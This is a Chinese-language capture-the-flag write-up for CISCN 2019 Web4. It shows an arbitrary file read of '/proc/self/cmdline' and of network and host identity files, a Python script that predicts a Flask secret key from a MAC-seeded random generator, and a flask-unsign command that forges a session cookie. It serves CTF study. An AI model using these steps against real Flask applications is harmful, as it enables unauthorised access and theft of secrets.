Problem: [CISCN 2019华东南]Web4
思路
任意文件读取
存在任意文件读取漏洞
/read?url=/proc/self/cmdline
得到源码文件 /app/app.py
代码审计
获取并审计/app/app.py的源代码
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
# 初始化Flask用于签名Cookie信息的时候用到的 Key
app = Flask(__name__)
random.seed(uuid.getnode()) # 获取服务器主机
app.config['SECRET_KEY'] = str(random.random()*233)
...
# 条件: session['username'] == fuck
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
伪造session的username从www-data到fuck。
- Flask中Session的结构为
session = base64(data) . base64(timestamp) . HMAC_signature
因此,想要伪造session就需要获得scret_key
分析函数
uuid.getnode()
- 根据服务器的48位长度的MAC地址计算得到长整数值。
random.seek() and random.random()
- 若在seek函数中固定了伪随机函数的种子,则接下来的随机序列是固定的
因此,在app.py代码中,将服务器的mac地址作为随机函数的种子,并通过生产的第一个固定的随机数作为secret_key。
MAC地址
利用任意文件读取获取服务器的MAC地址。
| 文件路径 | 说明 |
|---|---|
/sys/class/net/eth0/address |
eth0 的 MAC 地址(最常见) |
/proc/net/arp |
ARP 缓存表,含 MAC |
/proc/self/environ |
环境变量,有 hostname、path 等 |
/etc/hostname |
主机名 |
/etc/machine-id |
唯一机器标识,也可作为种子参考 |
得到了MAC地址为:"02:42:ac:02:41:40"
根据如下代码将MAC地址先处理为bytes数组,然后将bytes数组转换为长整数值。
Tips: 由于目标环境使用的python2,所以用python2还原长整数值。
通过Docker启动一个python2环境,运行生成secret_key。
import random
mac = "02:42:ac:02:41:40"
mac = int(mac.replace(":", ""), 16)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)
# 201.518325157
伪造flask session
flask-unsign --sign --cookie '{"username":"fuck"}' --secret '201.518325157' --salt 'cookie-session' --no-literal-eval
# eyJ1c2VybmFtZSI6ImZ1Y2sifQ.aGJW5A.e1VNsQR0LGh6IcQX1pvD1ZrEqtM
在Cookie中设置 session=eyJ1c2VybmFtZSI6ImZ1Y2sifQ.aGJW5A.e1VNsQR0LGh6IcQX1pvD1ZrEqtM,访问flag路由拿到Flag
总结
- flask的Session功能保存在客户端,一旦用于签名的key被攻击者知道,就可以伪造flask的session内容,导致非法的未授权访问
- random方法一旦固定的设置了初始化种子,则在任何时候产生的随机序列是唯一的
